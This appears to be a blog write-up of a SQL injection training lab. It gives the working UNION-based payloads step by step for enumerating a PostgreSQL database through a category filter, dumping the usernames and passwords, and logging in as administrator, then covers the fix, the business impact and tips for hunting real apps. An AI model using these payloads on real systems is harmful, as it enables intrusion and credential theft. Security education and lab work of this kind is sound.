June 24, 2026
I Asked PostgreSQL a Question It Wasnโt Supposed to Answer
One quote, one filter box, and the database gave me every password on the site.

By morgan_hack
3 min read
Lab five of my SQL injection series.
Labs 1โ2 taught me to bend a query. Labs 3โ4 taught me to make the database say its name. This one is the payoff. No more "what database is this." Now it's "hand me every username and password."
The bug, in plain words
The site has a category filter. Click "Pets," the page reloads with matching products.
Behind that click, the server glues your category value straight into a SQL query. No filtering. So I can attach my own SQL using UNION โ a keyword that stacks a second query's rows under the first. The page shows products. UNION in a second query, and my data shows up on the same page.
There's a hidden table with usernames and passwords. I just had to steer the bug toward it.
What I noticed
A normal shop. Nothing screams "hack me." That's normal.
I opened Burp Suite (sits between my browser and the site, lets me read and edit every request) and clicked a category:
GET /filter?category=Clothing%2c+shoes+and+accessories HTTP/2GET /filter?category=Clothing%2c+shoes+and+accessories HTTP/2%2c is the encoded comma in the category name. Sent it to Repeater (resends one request with edits, no clicking around). Quick checks first: a single quote to break the query, then a column count. Two columns, both hold text. Green light.
The action
Step 1 โ break the query. Add one single quote to the category value:
?category=Clothing%2c+shoes+and+accessories'?category=Clothing%2c+shoes+and+accessories'The page errors out. That quote landed inside the SQL and broke its syntax. Injection confirmed.
Step 2 โ count the columns. UNION only works if my second query has the same number of columns as the first. So I count. I climb with ORDER BY (sort by column 1, then 2, then 3โฆ):
?category=Clothing%2c+shoes+and+accessories'+ORDER+BY+1--
?category=Clothing%2c+shoes+and+accessories'+ORDER+BY+2--
?category=Clothing%2c+shoes+and+accessories'+ORDER+BY+3--?category=Clothing%2c+shoes+and+accessories'+ORDER+BY+1--
?category=Clothing%2c+shoes+and+accessories'+ORDER+BY+2--
?category=Clothing%2c+shoes+and+accessories'+ORDER+BY+3---- comments out the rest of the original query. ORDER BY 2 works, ORDER BY 3 errors. So the query returns 2 columns.
Step 3 โ confirm both hold text. I'll be dumping strings, so I need text columns. Test with markers:
?category=Clothing%2c+shoes+and+accessories'+UNION+SELECT+'abc','def'--?category=Clothing%2c+shoes+and+accessories'+UNION+SELECT+'abc','def'--abc and def show on the page. Both columns take text. Now I can ask real questions.
Step 4 โ list every table:
?category=Clothing%2c+shoes+and+accessories'+UNION+SELECT+table_name,NULL+FROM+information_schema.tables--?category=Clothing%2c+shoes+and+accessories'+UNION+SELECT+table_name,NULL+FROM+information_schema.tables--information_schema.tables is a built-in list of every table in the database. (Oracle calls it all_tables โ different dialect, different lab.)
wall of table names starting with pg_]
The response fills with names like pg_event_trigger, pg_shdescription. Every pg_ = PostgreSQL. The table names fingerprinted the database for me. No version query needed.
Step 5 โ cut the noise. 200 tables is too many. I make the database filter itself:
...+FROM+information_schema.tables+WHERE+table_name+LIKE+'%25users%25'--...+FROM+information_schema.tables+WHERE+table_name+LIKE+'%25users%25'--LIKE '%users%' = any name with "users" in it. %25 is the encoded %.
One hit: users_zdxxgl. Randomized name, so you can't copy a guess โ you find it.
Step 6 โ get its columns:
...SELECT+column_name,NULL+FROM+information_schema.columns+WHERE+table_name='users_zdxxgl'--...SELECT+column_name,NULL+FROM+information_schema.columns+WHERE+table_name='users_zdxxgl'--[INSERT SCREENSHOT: username_kehtjz and password_lohtdo]
username_kehtjz and password_lohtdo. Got everything.
Step 7 โ dump the credentials:
...SELECT+username_kehtjz,password_lohtdo+FROM+users_zdxxgl--...SELECT+username_kehtjz,password_lohtdo+FROM+users_zdxxgl--First try did nothing โ plain products, no error. I checked the raw request: /filter??category=?category=.... The parameter had doubled while I edited. The server ignored the broken URL.
Fix: select the whole path, delete it, retype once. Clean.
What fell out
Sent it again. This time the table didn't stop at products. At the bottom โ usernames against passwords, plain text, right in the response.
dumped rows including administrator
Copied the administrator password. Logged in.
Why this works
information_schema isn't a flaw. PostgreSQL, MySQL, and MSSQL all ship it by default.
The flaw is the app trusting the category value and gluing it into the query as text, instead of using a parameterized query (input passed as data, never as code). One quote closes the string early, and the rest of my input runs as SQL.
Devs cause this by reusing a quick query builder for a filter, assuming category names are a fixed list. But the request is fully in the user's hands โ dropdown or not.
What it costs the business
One filter box dumping the user table is a full breach. Quick version:
- Fines โ leaked credentials is a reportable breach. GDPR goes up to 4% of global turnover.
- Cleanup โ forced resets, notifications, legal, support hours. Lands whether or not data was misused.
- Trust โ leaked passwords is a headline. Customers leave.
- Worse โ reading the user table is the floor. Same hole can lead to file access or server takeover.
Fix costs ten minutes. Breach costs a quarter.
Real bug bounty payouts
- Mail.ru โ $7,500 (HackerOne). SQLi with output straight in the response โ same pattern, real platform.
- Uber โ $2,500 (HackerOne). SQLi in third-party software on their stack. Vulnerable code doesn't have to be yours.
- Razer โ $2,000 (HackerOne). SQLi through a
list[]param on an admin panel โ filter-style input, like here. - LocalTapiola โ $1,350 (HackerOne). SQLi via a
ctxparam. Same root cause, different field.
Where to hunt this in real apps
- Any filter/search/sort param (
category,sort,q) โ test it. - Single quote first. Error or broken page = green light.
- Count columns before anything โ
ORDER BYorUNION SELECT NULL. - Let table names fingerprint the database.
pg_= PostgreSQL. - Don't scroll noise โ filter in SQL with
LIKE '%keyword%'. - A users table + a login form = your top target. Go straight there.
- Payload does nothing? Check the raw request for doubled params first.